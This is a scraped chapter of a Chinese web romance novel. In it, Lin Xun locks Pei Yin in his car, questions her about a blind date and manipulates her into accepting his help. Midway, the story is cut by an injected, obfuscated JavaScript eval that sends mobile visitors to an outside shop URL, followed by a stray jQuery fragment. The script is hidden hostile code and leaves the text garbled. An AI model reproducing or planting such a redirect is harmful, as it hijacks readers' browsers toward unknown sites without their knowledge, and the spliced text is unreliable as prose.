文趣网 > 其他小说 > 恋爱了喵 > 10. 10
    10

    刚从基地出来,裴音婉拒了齐爷爷的午饭邀请,兴致十足的要带林峋去吃一家附近特别好的川菜馆。

    “我记得你蛮喜欢吃辣的,之前我和我诊所的朋友一起去吃过,味道不错,你应该会喜欢。”

    系上安全带,裴音撷着笑同驾驶座的人说道。

    林峋难得情绪外泄,表情有一瞬间的怔愣,去握方向盘的动作手停在半空,手指微微动了动,覆上。

    愉悦的嗯了声。

    正是看见了他这副神情,裴音才反应过来,自己刚刚说了什么。

    难掩羞涩,假装看向窗外。

    只留给林峋视野里,一抹洇着红的耳廓。

    今天天气格外好,透过窗外看去,云朵宛若棉花糖缀在天空,随着气流流动着,千变万化。

    裴音发着呆,觉得倒是和刚刚一闪而过的棉花糖大爷卖的一模一样。

    红绿灯间隙,旁边的非机动车道排了一排骑着电瓶车的少年,每个人的头发颜色可谓是和红绿灯的色儿一模一样,惹得后面的大爷大妈面面相觑,交头接耳。

    裴音听不见,也能猜到会说些什么,她忍不住笑出声。

    林峋疑惑的看向她,此刻,裴音眼睛亮晶晶的,像是润了水的玻璃珠,唇边笑的弧度越发加深。

    他顺着她的视线看去,注意到了几个头发张扬的男生。

    挑了挑眉,没说话。

    裴音笑了一会儿,才回神身旁还有林峋在,连忙收敛笑容。

    假装咳了咳,说:“林峋哥,其实我一直有一个疑问,你之前怎么会想到去染头发的啊。”

    毕竟她一直以为,林峋的叛逆期从初高中的阶段没有爆发,到大学才开始。

    “嗯?”

    林峋突然想到早上起来,看见陆游发自己复合了的消息,还说自己装傻卖惨,让女朋友同情心软才复合。

    原本想说的话在舌尖转了转,他语调缓缓道:“我妈妈生前喜欢一本漫画,里面的男主就是这个发型,去染的那天是她的生日,突发奇想,想给她看看而已。”

    虽然林峋语气听着平淡,但裴音还是听出了一丝难过。

    她有些后悔问了,肉肉的唇瓣被她抿起,圆乎乎的两颊肉因唇齿微微松懈而鼓起。

    “抱歉”她如此说道。

    没想到她这么吃这个套路,林峋瞥见被她咬红润的唇,眼底闪过一丝晦暗。

    下一个红绿灯路口,红灯再次亮起。

    林峋接着漫不经心地说:“是我一直没和你说过而已,和你有什么关系呢,再说了,都是以前的事,早就习惯接受。”

    他说完,裴音脑海里立马想到,之前听奶奶口中说到过,林峋的妈妈以前是当地有名的才女,嫁给了隔壁镇上的男人,两个人一起去了首城创业,事业很不错。后来因为太拼落下了病根,几年前去世了。当时林峋的外婆还让回家探望的爸爸,送她去的车站,买了车票赶去首城。

    失去母亲的时候,林峋甚至还没有裴音的年纪大。

    她垂下眼,掩饰心疼,没说话。

    她说再也不想见他的第二天,林峋的外婆,秦奶奶,在他走后来找过自己。

    院里的绣球花被昨日的雨水打落了几片花瓣,连同吹落的榕树叶一起,湿漉漉的躺在青砖。

    裴音坐在木扎的矮凳上,像失了魂。

    林峋走了,不仅没有接受自己那点难以启齿的心意,甚至不告而别。

    就当她陷入情绪无法抽离时,秦奶奶来找了她。

    “音音,秦奶奶知道你和阿峋昨天吵架了,奶奶来是想和你说,他之所以劝你和你妈妈好好聊聊,是因为他的妈妈离世前,他就因为有些事的不理解拌了嘴,错过了最后一面。”

    裴音当时是什么样的心情呢,就好像现在一样,有种细细密密又麻木的痛感,像细针扎入,稍稍一动,牵扯所有。

    林峋看了又看她。

    这种博同情的方法,在裴音身上确实管用,但好像太管用。

    裴音若是有了兔耳朵,便是垂在两边,蔫的不行。

    他开口吸引她新的注意力,说:“下周我外婆生日,要不要和我一起回去?”

    裴音捏着衣摆的蕾丝,抬眸,回道:“可能不行.....”

    林峋追问:“是有什么事吗?”

    裴音觉得羞与启齿,可不说,她又怕林峋会不高兴。

    声音有些小,糯糯的:“是我妈妈,要给我安排相亲,那天可能要去吃饭,所以没有办法去。”

    她一说完,车内空气仿佛都不流动,窒息的感觉扑面而来。

    又去看林峋的脸色,看起来好像近乎平淡得很。

    见林峋不说话,她只好去按开窗键,企图用缝隙外的风来吹散车里的沉寂。

    不知不觉间,已经到了吃饭的地儿。

    林峋停好车,裴音更像是迫不及待逃离似的解开安全带。

    可等手放在车门上,却怎么也打不开。

    她诧异看向林峋,说:“林峋哥?”

    带着小动物本能的弱性试探。

    林峋侧过身,略带深沉的眸子锁定在裴音身上。

    他语气温和,与他此刻的眼神完全不同。

    “有照片吗?哥哥也可以帮你提前把把关。”

    把关?

    裴音心尖一颤,拒绝过自己的暗恋对象说要给自己把关相亲男?

    怎么听,都是匪夷所思的事。

    然而她失了魂一样,从包里拿出手机,找出相亲男季先生的照片给他看。

    那张照片是她妈妈发的,人长得只能算周正,浓眉大眼年纪稍长裴音几岁,成熟儒雅类型的人。

    “江城人?”

    “嗯。”

    “多大?”

    “29了好像。”

    林峋睨她一眼,继续问:“你什么时候喜欢这种类型的了?”

    裴音被问的发懵,像只撞了树磕到脑袋的兔子,被林峋这种猎人守在原地,然后轻松捏住她脆弱的脖颈,任凭处置。

    “我...我没说喜欢.....”

    她摸不清林峋的意思,是在把自己和这个季先生相提并论吗?

    毕竟自己喜欢过他,林峋是知道的。

    “不喜欢那就拒绝他吧,好不好?”

    林峋话里毫无起伏,却更像是引诱孩子听自己的话。

    重逢以来,裴音一直小心翼翼不愿提及当初的事,生怕撕破两人之间微弱的遮羞帘,更怕是敞开自己那脆弱敏感的小心思。

    林峋得知她相亲的反应,超过了原本印象里对方会有的反应认知。

    他在不高兴。

    不高兴什么?

    裴音脑子里转着疑问,就没有回答。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746230|209300||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    而林峋以为她不乐意,语气开始沉闷:“程嘉禹。”

    “什么?”

    “他和程嘉禹完全不一样,你以前说你喜欢他那种的,又变了吗?”

    “程嘉禹信誓旦旦地和我说,你们互相喜欢,让我祝你们幸福,对了你们现在是什么情况?分手了?所以你才会去相亲?”

    “怎么?他这是不打算幸福了?”

    说到后面,语速越来越快,话里甚至带着压抑的意味。

    裴音完全被惊到,因为刚刚林峋说的事,她作为主角完全不知道有这个事情。

    程嘉禹是她小时候的玩伴,算起来也算是小竹马,高二暑假那年,不知从哪儿打听来的消息,知道自己在清水镇,便从国外回来找自己叙旧。

    她和程嘉禹除了朋友,再无任何关系。

    而林峋却说,她们互相喜欢。

    意识到情绪事态,林峋敛起眼皮,说话时微微压前的身躯渐渐收回,眼睛却从未移开。

    “抱歉,只是哥哥有点担心你而已,你说过,我和你的哥哥一样,可以依赖,所以我怕你吃亏。”

    裴音瘦弱的肩膀朝后缩在靠背上,眼睫扑闪着,她的眼里不再是刚刚蕴着笑的明媚,而是带着惊慌与其它说不上来的意味。

    她总要说些什么,不能像这样沉默。

    裴音心里想着。

    她望着林峋几乎复杂的神色,微微张口:“可我和程嘉禹没有互相喜欢,也没有在一起,更没有分手。”

    “我不喜欢他。”

    短短五个字,像是巨石砸在了林峋干涸的心脏上,裂缝破开后,有种源源不断的的温水趟过,跨越沟壑的土地,汇成一片汪洋。

    原本还在拧眉唇线抿直的人,神情蓦地松懈,竟也惊的启唇:“你不喜欢他?”

    我喜欢谁你不知道吗?

    裴音心里腹诽,有些酸涩难捱,她不懂林峋这是怎么了。

    “我从来没说过喜欢程嘉禹,如果是他说的,那我不知道。”

    话毕,她便让林峋开锁,她要下车。

    见她生了气,林峋张张口,心里埋怨自己,知道裴音去相亲,便慌乱存气上了头。

    可这气不是对裴音,而是自己一直以来不在裴音的选择范围内的懊恼。

    他下意识地去拉住裴音的手腕,虎口卡在瘦削的腕间,带着不可拒绝的温度。

    “我没有其它意思,裴音。”

    “你知道的,我只是担心你,哥哥是什么样的人,你还不知道吗?”

    他语气软,双眸微微一转流露出主人的无辜与担忧,仿佛只要裴音说一句“不需要你担心”,便能碎掉。

    裴音何时见过这种招数,刚刚还有点被冒犯的生气,转眼烟消云散,取而代之的是“也许他只是觉得自己是哥哥的角色,而担心自己而已。”

    倒是自己给自己洗了个脑。

    完全不知道,自己落进了对方的圈套。

    林峋转而又将手抬起,摸了摸裴音的发顶,带着安抚的意味。

    说:“程嘉禹的事是我误会了,那相亲的事你真的想去吗?”

    裴音被彻底顺毛,摇摇头说:“不想,可是我妈妈…..”

    她没说完,林峋也知道她的意思。

    他嘴角勾起,说出了自己最想说的提议:“如果你相信哥哥,我可以帮你。”